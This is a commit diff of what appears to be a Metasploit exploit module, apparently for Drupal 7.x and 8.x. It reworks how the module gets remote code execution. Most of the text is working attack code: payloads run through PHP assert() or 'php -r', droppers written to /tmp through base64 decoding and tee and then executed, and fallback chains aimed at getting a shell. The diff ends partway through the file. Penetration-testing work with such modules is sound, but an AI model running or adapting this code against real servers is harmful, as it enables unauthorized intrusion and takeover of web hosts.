Use PHP_FUNC as a fallback in case assert() fails

Additionally drop a file in a writable directory in case CWD fails.
GSoC/Meterpreter_Web_Console
William Vu 2018-04-24 21:39:52 -05:00
parent e03ebf9446
commit 8bc1417c8c
2 changed files with 37 additions and 20 deletions

View File

@ -66,7 +66,8 @@ Defaults to `false`, meaning the check result is respected.
**WritableDir**
Set this to a writable directory without `noexec` for binary payloads.
Defaults to the current working directory (usually the webapp root).
Defaults to `/tmp`, but other options may include `/var/tmp` and
`/dev/shm`.
## Usage

View File

@ -113,7 +113,8 @@ class MetasploitModule < Msf::Exploit::Remote
'Version' => Gem::Version.new('8.x')
]
],
'DefaultTarget' => 0 # Automatic (PHP In-Memory)
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
'DefaultOptions' => {'WfsDelay' => 2}
))
register_options([
@ -124,7 +125,7 @@ class MetasploitModule < Msf::Exploit::Remote
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [false, 'Writable dir for dropped binaries'])
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
])
end
@ -160,25 +161,25 @@ class MetasploitModule < Msf::Exploit::Remote
datastore['DUMP_OUTPUT'] = true
end
# NOTE: assert() is attempted first, then PHP_FUNC if that fails
case target.name
when /PHP In-Memory/
case @version.to_s
when '7.x'
# In-process execution when assert() is enabled
execute_command(payload.encoded, func: 'assert')
when '8.x'
# XXX: This will spawn a *very* obvious process
execute_command("php -r '#{payload.encoded}'")
end
execute_command(payload.encoded, func: 'assert')
sleep(wfs_delay)
return if session_created?
# XXX: This will spawn a *very* obvious process
execute_command("php -r '#{payload.encoded}'")
when /Unix In-Memory/
execute_command(payload.encoded)
when /PHP Dropper/, /Linux Dropper/
case @version.to_s
when '7.x'
execute_dropper7
when '8.x'
execute_dropper8
end
dropper_assert
sleep(wfs_delay)
return if session_created?
dropper_exec
end
end
@ -192,8 +193,10 @@ class MetasploitModule < Msf::Exploit::Remote
super
end
def execute_dropper7
php_file = "#{random_crap}.php"
def dropper_assert
php_file = Pathname.new(
"#{datastore['WritableDir']}/#{random_crap}.php"
).cleanpath
# Return the PHP payload or a PHP binary dropper
dropper = get_write_exec_payload(
@ -222,8 +225,11 @@ class MetasploitModule < Msf::Exploit::Remote
execute_command(stage2.strip, func: 'assert')
end
def execute_dropper8
def dropper_exec
php_file = "#{random_crap}.php"
tmp_file = Pathname.new(
"#{datastore['WritableDir']}/#{php_file}"
).cleanpath
# Return the PHP payload or a PHP binary dropper
dropper = get_write_exec_payload(
@ -247,10 +253,20 @@ class MetasploitModule < Msf::Exploit::Remote
'uri' => normalize_uri(target_uri.path, php_file)
)
sleep(wfs_delay)
return if session_created?
# Last-ditch effort to get a shell with PHP CLI
execute_command("php #{php_file}")
sleep(wfs_delay)
return if session_created?
register_file_for_cleanup(tmp_file)
# Fall back on our temp file
execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
execute_command("php #{tmp_file}")
end
def execute_command(cmd, opts = {})